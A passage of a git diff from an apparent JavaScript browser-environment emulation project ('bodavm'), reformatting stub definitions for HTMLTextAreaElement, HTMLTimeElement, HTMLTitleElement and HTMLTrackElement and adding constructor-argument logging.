"HTMLTextAreaElement", "rows_get", arguments)}, set:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "rows_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "wrap", {configurable:true, enumerable:true, get:function wrap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "wrap_get", arguments)}, set:function wrap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "wrap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "defaultValue", {configurable:true, enumerable:true, get:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "defaultValue_get", arguments)}, set:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "defaultValue_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "textLength", {configurable:true, enumerable:true, get:function textLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "textLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionStart", {configurable:true, enumerable:true, get:function selectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionStart_get", arguments)}, set:function selectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionStart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionEnd", {configurable:true, enumerable:true, get:function selectionEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionEnd_get", arguments)}, set:function selectionEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionEnd_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionDirection", {configurable:true, enumerable:true, get:function selectionDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionDirection_get", arguments)}, set:function selectionDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionDirection_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "select", {configurable:true, enumerable:true, writable:true, value:function select (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "select", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setCustomValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setRangeText", {configurable:true, enumerable:true, writable:true, value:function setRangeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setRangeText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setSelectionRange", {configurable:true, enumerable:true, writable:true, value:function setSelectionRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setSelectionRange", arguments)}},'prototype'); +// HTMLTextAreaElement对象 + +bodavm.memory.globalobj['HTMLTextAreaElement'] = function HTMLTextAreaElement() { + console.log_copy('HTMLTextAreaElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTextAreaElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTextAreaElement'], "HTMLTextAreaElement"); +bodavm.memory.globalobj['HTMLTextAreaElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTextAreaElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "autocomplete", { + configurable: true, + enumerable: true, + get: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "autocomplete_get", arguments); + }, + set: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "autocomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "cols", { + configurable: true, + enumerable: true, + get: function cols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "cols_get", arguments); + }, + set: function cols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "cols_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "dirName", { + configurable: true, + enumerable: true, + get: function dirName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "dirName_get", arguments); + }, + set: function dirName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "dirName_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "maxLength", { + configurable: true, + enumerable: true, + get: function maxLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "maxLength_get", arguments); + }, + set: function maxLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "maxLength_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "minLength", { + configurable: true, + enumerable: true, + get: function minLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "minLength_get", arguments); + }, + set: function minLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "minLength_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "placeholder", { + configurable: true, + enumerable: true, + get: function placeholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "placeholder_get", arguments); + }, + set: function placeholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "placeholder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "readOnly", { + configurable: true, + enumerable: true, + get: function readOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "readOnly_get", arguments); + }, + set: function readOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "readOnly_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "required", { + configurable: true, + enumerable: true, + get: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "required_get", arguments); + }, + set: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "required_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "rows", { + configurable: true, + enumerable: true, + get: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "rows_get", arguments); + }, + set: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "rows_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "wrap", { + configurable: true, + enumerable: true, + get: function wrap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "wrap_get", arguments); + }, + set: function wrap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "wrap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "defaultValue", { + configurable: true, + enumerable: true, + get: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "defaultValue_get", arguments); + }, + set: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "defaultValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "textLength", { + configurable: true, + enumerable: true, + get: function textLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "textLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionStart", { + configurable: true, + enumerable: true, + get: function selectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionStart_get", arguments); + }, + set: function selectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionStart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionEnd", { + configurable: true, + enumerable: true, + get: function selectionEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionEnd_get", arguments); + }, + set: function selectionEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionEnd_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionDirection", { + configurable: true, + enumerable: true, + get: function selectionDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionDirection_get", arguments); + }, + set: function selectionDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionDirection_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "select", { + configurable: true, + enumerable: true, + writable: true, + value: function select() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "select", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setCustomValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setRangeText", { + configurable: true, + enumerable: true, + writable: true, + value: function setRangeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setRangeText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setSelectionRange", { + configurable: true, + enumerable: true, + writable: true, + value: function setSelectionRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setSelectionRange", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTimeElement.js b/env_xbb_lastest_jsdom/env/HTMLTimeElement.js index 3ca5470f..6da19d41 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTimeElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTimeElement.js @@ -1,6 +1,29 @@ -// HTMLTimeElement对象 -bodavm.memory.globalobj['HTMLTimeElement'] = function HTMLTimeElement(){if (!(this instanceof HTMLTimeElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTimeElement'], "HTMLTimeElement"); -bodavm.memory.globalobj['HTMLTimeElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTimeElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTimeElement', "dateTime", {configurable:true, enumerable:true, get:function dateTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTimeElement'].prototype, "HTMLTimeElement", "dateTime_get", arguments)}, set:function dateTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTimeElement'].prototype, "HTMLTimeElement", "dateTime_set", arguments)}},'prototype'); +// HTMLTimeElement对象 + +bodavm.memory.globalobj['HTMLTimeElement'] = function HTMLTimeElement() { + console.log_copy('HTMLTimeElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTimeElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTimeElement'], "HTMLTimeElement"); +bodavm.memory.globalobj['HTMLTimeElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTimeElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTimeElement', "dateTime", { + configurable: true, + enumerable: true, + get: function dateTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTimeElement'].prototype, "HTMLTimeElement", "dateTime_get", arguments); + }, + set: function dateTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTimeElement'].prototype, "HTMLTimeElement", "dateTime_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTitleElement.js b/env_xbb_lastest_jsdom/env/HTMLTitleElement.js index 7143ad97..1c344931 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTitleElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTitleElement.js @@ -1,6 +1,29 @@ -// HTMLTitleElement对象 -bodavm.memory.globalobj['HTMLTitleElement'] = function HTMLTitleElement(){if (!(this instanceof HTMLTitleElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTitleElement'], "HTMLTitleElement"); -bodavm.memory.globalobj['HTMLTitleElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTitleElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTitleElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTitleElement'].prototype, "HTMLTitleElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTitleElement'].prototype, "HTMLTitleElement", "text_set", arguments)}},'prototype'); +// HTMLTitleElement对象 + +bodavm.memory.globalobj['HTMLTitleElement'] = function HTMLTitleElement() { + console.log_copy('HTMLTitleElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTitleElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTitleElement'], "HTMLTitleElement"); +bodavm.memory.globalobj['HTMLTitleElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTitleElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTitleElement', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTitleElement'].prototype, "HTMLTitleElement", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTitleElement'].prototype, "HTMLTitleElement", "text_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTrackElement.js b/env_xbb_lastest_jsdom/env/HTMLTrackElement.js index 605b8c48..af7a8655 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTrackElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTrackElement.js @@ -1,40 +1,133 @@ // HTMLTrackElement对象 -bodavm.memory.globalobj['HTMLTrackElement'] = function HTMLTrackElement(){if (!(this instanceof HTMLTrackElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['HTMLTrackElement'] = function HTMLTrackElement() { + console.log_copy('HTMLTrackElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTrackElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTrackElement'], "HTMLTrackElement"); - -bodavm.memory.globalobj['HTMLTrackElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; - -bodavm.memory.globalobj['HTMLTrackElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "NONE", {configurable:false, enumerable:true, writable:false, value:0}); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADING", {configurable:false, enumerable:true, writable:false, value:1}); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADED", {configurable:false, enumerable:true, writable:false, value:2}); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "ERROR", {configurable:false, enumerable:true, writable:false, value:3}); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "kind_get", arguments)}, set:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "kind_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "src_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "srclang", {configurable:true, enumerable:true, get:function srclang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "srclang_get", arguments)}, set:function srclang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "srclang_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "label_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "default", {configurable:true, enumerable:true, get:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "default_get", arguments)}, set:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "default_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "readyState_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "track_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "NONE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADING", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADED", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "ERROR", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); - +bodavm.memory.globalobj['HTMLTrackElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTrackElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); 